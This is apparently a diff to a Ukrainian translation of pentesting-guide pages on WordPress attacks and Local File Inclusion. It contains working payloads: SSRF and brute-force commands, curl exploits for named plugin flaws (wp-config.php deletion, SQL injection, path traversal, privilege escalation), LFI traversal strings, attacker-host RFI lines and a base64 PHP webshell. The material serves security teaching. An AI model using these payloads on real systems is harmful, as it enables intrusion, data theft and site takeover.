Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і сайт Worpress може надіслати запит до вас.
|
||||
|
||||
Це відповідь, коли це не працює:
|
||||
Ось відповідь, коли це не працює:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -227,9 +227,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy** і, якщо існує, намагається їх експлуатувати.
|
||||
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** для шляху **/wp-json/oembed/1.0/proxy**, і якщо існує, намагається їх експлуатувати.
|
||||
|
||||
## Automatic Tools
|
||||
## Автоматизовані інструменти
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -252,7 +252,7 @@ return new WP_Error(
|
||||
|
||||
.png>)
|
||||
|
||||
Шукайте в інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Пошукайте в інтернеті, як ви можете отримати доступ до оновленої сторінки. У цьому випадку вам потрібно перейти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -293,19 +293,19 @@ to get a session.
|
||||
|
||||
### Завантаження та активація шкідливого плагіна
|
||||
|
||||
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і його можна експлуатувати для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
|
||||
Цей метод передбачає установку шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання веб-оболонки. Цей процес здійснюється через панель управління WordPress наступним чином:
|
||||
|
||||
1. **Отримання плагіна**: Плагін отримується з джерела, такого як Exploit DB, як [**тут**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Встановлення плагіна**:
|
||||
2. **Установка плагіна**:
|
||||
- Перейдіть до панелі управління WordPress, потім перейдіть до `Панель > Плагіни > Завантажити плагін`.
|
||||
- Завантажте zip-файл завантаженого плагіна.
|
||||
3. **Активація плагіна**: Після успішної установки плагін потрібно активувати через панель управління.
|
||||
3. **Активація плагіна**: Після успішної установки плагін повинен бути активований через панель управління.
|
||||
4. **Експлуатація**:
|
||||
- З встановленим і активованим плагіном "reflex-gallery" його можна експлуатувати, оскільки відомо, що він вразливий.
|
||||
- Фреймворк Metasploit надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши специфічні команди, можна встановити сесію meterpreter, що надає несанкціонований доступ до сайту.
|
||||
- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress.
|
||||
|
||||
Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
|
||||
Зміст включає візуальні допоміжні засоби, що ілюструють кроки в панелі управління WordPress для установки та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в законному контексті, наприклад, під час тестування на проникнення з явним дозволом.
|
||||
|
||||
**Для більш детальних кроків перевірте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
@ -332,7 +332,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Attack Surface
|
||||
|
||||
Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах та деяких прикладах вразливих плагінів у [**цьому блозі**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Знання того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете знайти, як плагін може відкривати функціональність, у наступних пунктах і деяких прикладах вразливих плагінів у [**цьому блозі**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
@ -372,11 +372,11 @@ $this->namespace, '/get/', array(
|
||||
|
||||
Теми та плагіни WordPress часто відкривають AJAX обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_**, **зворотний виклик стає доступним для неавтентифікованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізовувати:
|
||||
|
||||
1. Перевірку **можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і
|
||||
1. **перевірку можливостей** (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), і
|
||||
2. **CSRF nonce**, перевірений за допомогою `check_ajax_referer()` / `wp_verify_nonce()`, і
|
||||
3. **Сувору санітизацію / валідацію вводу**.
|
||||
3. **Сувору санітизацію / валідацію введення**.
|
||||
|
||||
Тема Litho (мультифункціональна) (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений):
|
||||
Мультифункціональна тема Litho (< 3.1) забула ці 3 контролі в функції *Видалити сімейство шрифтів* і в результаті відправила наступний код (спрощений):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -395,21 +395,21 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Проблеми, введені цим фрагментом:
|
||||
Проблеми, які виникають через цей фрагмент:
|
||||
|
||||
* **Неавтентифікований доступ** – хук `wp_ajax_nopriv_` зареєстровано.
|
||||
* **Відсутня перевірка nonce / можливостей** – будь-який відвідувач може звернутися до кінцевої точки.
|
||||
* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід.
|
||||
* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний перехід `../../`.
|
||||
|
||||
#### Експлуатація
|
||||
|
||||
Зловмисник може видалити будь-який файл або директорію **нижче базового каталогу завантажень** (зазвичай `<wp-root>/wp-content/uploads/`), надіславши один HTTP POST запит:
|
||||
Зловмисник може видалити будь-який файл або каталог **нижче базового каталогу завантажень** (зазвичай `<wp-root>/wp-content/uploads/`), надіславши один HTTP POST запит:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Оскільки `wp-config.php` знаходиться поза *uploads*, чотири послідовності `../` достатні для стандартної установки. Видалення `wp-config.php` змушує WordPress перейти до *майстра установки* під час наступного відвідування, що дозволяє повністю захопити сайт (зловмисник просто надає нову конфігурацію БД і створює адміністратора).
|
||||
Оскільки `wp-config.php` знаходиться поза *uploads*, чотири послідовності `../` достатні для стандартної установки. Видалення `wp-config.php` змушує WordPress перейти до *майстра установки* при наступному відвідуванні, що дозволяє повністю захопити сайт (зловмисник просто надає нову конфігурацію БД і створює адміністратора).
|
||||
|
||||
Інші важливі цілі включають файли плагінів/тем `.php` (для зламу плагінів безпеки) або правила `.htaccess`.
|
||||
|
||||
@ -444,9 +444,9 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
---
|
||||
|
||||
### Підвищення привілеїв через відновлення застарілої ролі та відсутню авторизацію (ASE "Перегляд адміністратора як ролі")
|
||||
### Підвищення привілеїв через відновлення застарілої ролі та відсутню авторизацію (ASE "Перегляд адміністратора як роль")
|
||||
|
||||
Багато плагінів реалізують функцію "перегляд як роль" або тимчасового перемикання ролей, зберігаючи оригінальну роль(і) у метаданих користувача, щоб їх можна було відновити пізніше. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) та список, що підтримується плагіном, без перевірки можливостей та дійсного нонсу, це призводить до вертикального підвищення привілеїв.
|
||||
Багато плагінів реалізують функцію "перегляд як роль" або тимчасового переключення ролей, зберігаючи оригінальну роль(і) у метаданих користувача, щоб їх можна було відновити пізніше. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) та список, що підтримується плагіном, без перевірки можливостей та дійсного нонсу, це призводить до вертикального підвищення привілеїв.
|
||||
|
||||
Приклад з реального світу був знайдений у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка скидання відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося в внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` або перевірку нонсу перед видаленням поточних ролей і повторним додаванням збережених ролей з метаданих користувача `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
@ -489,16 +489,16 @@ curl -s -k -b 'wordpress_logged_in=...' \
|
||||
|
||||
- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” в метаданих користувача (наприклад, `_asenha_view_admin_as_original_roles`).
|
||||
- Визначте шляхи скидання/відновлення, які:
|
||||
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву параметрів плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей актора.
|
||||
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву параметрів плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей актора.
|
||||
|
||||
Ускладнення
|
||||
|
||||
- Застосовуйте перевірки можливостей на кожному гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше).
|
||||
- Вимагайте нонси для всіх мутацій ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ніколи не довіряйте іменам користувачів, наданим запитом; визначайте цільового користувача на стороні сервера на основі автентифікованого актора та явної політики.
|
||||
- Скасовуйте стан “оригінальних ролей” при оновленнях профілю/ролі, щоб уникнути застарілого відновлення високих привілеїв:
|
||||
- Анулюйте стан “оригінальних ролей” при оновленнях профілю/ролі, щоб уникнути застарілого відновлення високих привілеїв:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
@ -512,7 +512,7 @@ delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
|
||||
### Регулярні оновлення
|
||||
|
||||
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтверджуйте, що автоматичне оновлення увімкнене в wp-config.php:
|
||||
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтверджуйте, що автоматичне оновлення увімкнене у wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -532,7 +532,7 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- Використовуйте **сильні паролі** та **2FA**
|
||||
- Періодично **переглядайте** права **доступу** користувачів
|
||||
- **Обмежте спроби входу** для запобігання атакам Brute Force
|
||||
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише внутрішньо або з певних IP-адрес.
|
||||
- Перейменуйте файл **`wp-admin.php`** і надавайте доступ лише внутрішньо або з певних IP-адрес.
|
||||
|
||||
### Неавтентифікований SQL-ін'єкція через недостатню валідацію (WP Job Portal <= 2.3.2)
|
||||
|
||||
@ -546,7 +546,7 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Проблеми, які виникають через цей фрагмент:
|
||||
Проблеми, введені цим фрагментом:
|
||||
|
||||
1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP запиту.
|
||||
2. **Конкатенація рядків у WHERE клаузі** – немає `is_numeric()` / `esc_sql()` / підготовленого запиту.
|
||||
@ -566,12 +566,12 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Відповідь розкриває результат впровадженого запиту або змінює базу даних, що підтверджує SQLi.
|
||||
Відповідь розкриває результат впровадженого запиту або змінює базу даних, підтверджуючи SQLi.
|
||||
|
||||
|
||||
### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2)
|
||||
|
||||
Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач розташований у `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
@ -579,7 +579,7 @@ echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
|
||||
|
||||
#### Exploitation
|
||||
#### Використання
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
|
||||
@ -47,7 +47,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
|
||||
Перевірте список LFI для linux.
|
||||
|
||||
## Основний LFI та обходи
|
||||
## Основний LFI та обхід
|
||||
|
||||
Усі приклади стосуються Local File Inclusion, але можуть бути застосовані і до Remote File Inclusion (сторінка=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
@ -69,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
|
||||
|
||||
### **Кодування**
|
||||
|
||||
Ви можете використовувати нестандартні кодування, такі як подвоєне URL-кодування (та інші):
|
||||
Ви можете використовувати нестандартні кодування, такі як подвоєне кодування URL (та інші):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -99,13 +99,13 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
- **Вміст `/etc/passwd`:** Присутність папки `private` підтверджена.
|
||||
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи Local File Inclusion (LFI).
|
||||
|
||||
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
Для дослідження каталогів у різних місцях файлової системи, відповідно налаштуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточний каталог на глибині 3), використовуйте:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Техніка скорочення шляху**
|
||||
### **Техніка обтинання шляху**
|
||||
|
||||
Скорочення шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.
|
||||
Обтинання шляху - це метод, що використовується для маніпуляції шляхами файлів у веб-додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета полягає в тому, щоб створити шлях до файлу, який, після зміни заходом безпеки, все ще вказує на потрібний файл.
|
||||
|
||||
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через природу файлової системи. Наприклад:
|
||||
|
||||
@ -113,7 +113,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
- Коли останні 6 символів - це `passwd`, додавання `/` (перетворюючи його на `passwd/`) не змінює цільовий файл.
|
||||
- Аналогічно, якщо до шляху файлу додається `.php` (як `shellcode.php`), додавання `/.` в кінці не змінить файл, до якого здійснюється доступ.
|
||||
|
||||
Наведенні приклади демонструють, як використовувати скорочення шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
|
||||
Наведенні приклади демонструють, як використовувати обтинання шляху для доступу до `/etc/passwd`, поширеної цілі через її чутливий вміст (інформація про облікові записи користувачів):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -123,11 +123,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може варіюватися в залежності від конфігурації сервера.
|
||||
У цих сценаріях кількість необхідних переходів може становити близько 2027, але це число може змінюватися в залежності від конфігурації сервера.
|
||||
|
||||
- **Використання крапкових сегментів та додаткових символів**: Послідовності переходів (`../`), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
|
||||
- **Визначення необхідної кількості переходів**: Через проби та помилки можна знайти точну кількість послідовностей `../`, необхідних для навігації до кореневої директорії, а потім до `/etc/passwd`, забезпечуючи нейтралізацію будь-яких доданих рядків (як-от `.php`), але залишаючи бажаний шлях (`/etc/passwd`) незмінним.
|
||||
- **Початок з фейкової директорії**: Це поширена практика починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера.
|
||||
- **Початок з фейкової директорії**: Це поширена практика - починати шлях з неіснуючої директорії (як-от `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляхів сервера.
|
||||
|
||||
При використанні технік скорочення шляхів важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідно тестування, щоб знайти найбільш ефективний метод.
|
||||
|
||||
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено**, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** є **Вимкнено.** Він повинен бути **Увімкнено** для того, щоб це працювало, і в такому випадку ви могли б включити PHP файл з вашого сервера і отримати RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете використовувати, наприклад, протокол даних з base64 для декодування коду PHP у форматі b64 і отримання RCE:
|
||||
Якщо з якоїсь причини **`allow_url_include`** увімкнено, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використовувати протокол даних з base64 для декодування b64 PHP коду та отримання RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -173,7 +173,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
```
|
||||
Це передбачена поведінка відповідно до [документації](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і з'єднання продовжується з компонента абсолютного шляху.
|
||||
> Якщо компонент є абсолютним шляхом, всі попередні компоненти скидаються, і з'єднання продовжується з абсолютного компонента шляху.
|
||||
|
||||
## Java Список директорій
|
||||
|
||||
@ -181,7 +181,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
## Топ 25 параметрів
|
||||
|
||||
Ось список з 25 найпоширеніших параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ось список з 25 найкращих параметрів, які можуть бути вразливими до вразливостей локального включення файлів (LFI) (з [посилання](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -219,7 +219,7 @@ PHP фільтри дозволяють виконувати базові **оп
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Видалити теги з даних (все між символами "<" та ">")
|
||||
- `string.strip_tags`: Видаляє теги з даних (все між символами "<" та ">")
|
||||
- Зверніть увагу, що цей фільтр зник з сучасних версій PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
@ -232,8 +232,8 @@ PHP фільтри дозволяють виконувати базові **оп
|
||||
> Зловживаючи фільтром перетворення `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або створення функції, яка включає процес довільного тексту. Для отримання додаткової інформації перегляньте [**LFI2RCE через php фільтри**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Стиснути вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
|
||||
- `zlib.inflate`: Розпакувати дані
|
||||
- `zlib.deflate`: Стискає вміст (корисно, якщо потрібно ексфільтрувати багато інформації)
|
||||
- `zlib.inflate`: Розпаковує дані
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Застарілий
|
||||
- `mdecrypt.*` : Застарілий
|
||||
@ -273,7 +273,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### Використання фільтрів php як оракула для читання довільних файлів
|
||||
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **логічній ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
[**У цьому пості**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) пропонується техніка для читання локального файлу без отримання виходу від сервера. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням фільтрів php** як оракула. Це пов'язано з тим, що фільтри php можуть бути використані для збільшення тексту настільки, щоб php викликав виключення.
|
||||
|
||||
У оригінальному пості ви можете знайти детальне пояснення техніки, але ось швидкий підсумок:
|
||||
|
||||
@ -281,10 +281,10 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
- Це буде використано для генерації **тексту настільки великого, коли початкова літера вгадана правильно**, що php викличе **помилку**.
|
||||
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тому ми можемо дізнатися, чи є перший символ шістнадцятковим.
|
||||
- Це, в поєднанні з попереднім (і іншими фільтрами в залежності від вгаданої літери), дозволить нам вгадати літеру на початку тексту, спостерігаючи, коли ми робимо достатньо перетворень, щоб вона більше не була шістнадцятковим символом. Тому що, якщо шістнадцятковий, dechunk не видалить його, а початкова бомба викличе помилку php.
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалив її, і помилка php викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і можуть бути використані інші кодеки для переміщення інших літер у шістнадцятковий діапазон).
|
||||
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (так що після цього кодека: a -> b). Це дозволяє нам дізнатися, чи є перша літера `a`, наприклад, тому що якщо ми застосуємо 6 з цього кодека a->b->c->d->e->f->g, літера більше не є шістнадцятковим символом, отже, dechunk не видалить її, і помилка php буде викликана, оскільки вона множиться з початковою бомбою.
|
||||
- Використовуючи інші перетворення, такі як **rot13** на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для переміщення інших літер у шістнадцятковий діапазон).
|
||||
- Коли початковий символ є числом, потрібно закодувати його в base64 і витікати 2 перші літери, щоб витікати число.
|
||||
- Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- Остаточна проблема полягає в тому, **як витікати більше, ніж початкова літера**. Використовуючи фільтри пам'яті порядку, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
|
||||
- І для того, щоб мати можливість отримати **додаткові дані**, ідея полягає в тому, щоб **згенерувати 2 байти сміттєвих даних на початку** з **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб зробити його **поворотом з наступними 2 байтами**, і **видалити дані до сміттєвих даних** (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.
|
||||
|
||||
У пості також був витікнутий інструмент для автоматичного виконання цього: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
@ -296,7 +296,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Ви також можете використовувати **php://stdin, php://stdout і php://stderr** для доступу до **дескрипторів файлів 0, 1 і 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
Ви також можете використовувати **php://stdin, php://stdout і php://stderr** для доступу до **файлових дескрипторів 0, 1 і 2** відповідно (не впевнений, як це може бути корисно в атаці)
|
||||
|
||||
### zip:// і rar://
|
||||
|
||||
@ -358,7 +358,7 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
При виконанні буде створено файл з назвою `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
|
||||
|
||||
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції, такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
|
||||
У випадках, коли LFI лише виконує читання файлів без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів за допомогою протоколу `phar`.
|
||||
|
||||
Для детального розуміння експлуатації вразливостей десеріалізації в контексті файлів `.phar`, зверніться до документа, що наведений нижче:
|
||||
|
||||
@ -371,14 +371,14 @@ phar-deserialization.md
|
||||
### CVE-2024-2961
|
||||
|
||||
Було можливим зловживати **будь-яким довільним читанням файлів з PHP, що підтримує php фільтри**, щоб отримати RCE. Детальний опис можна [**знайти в цьому пості**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
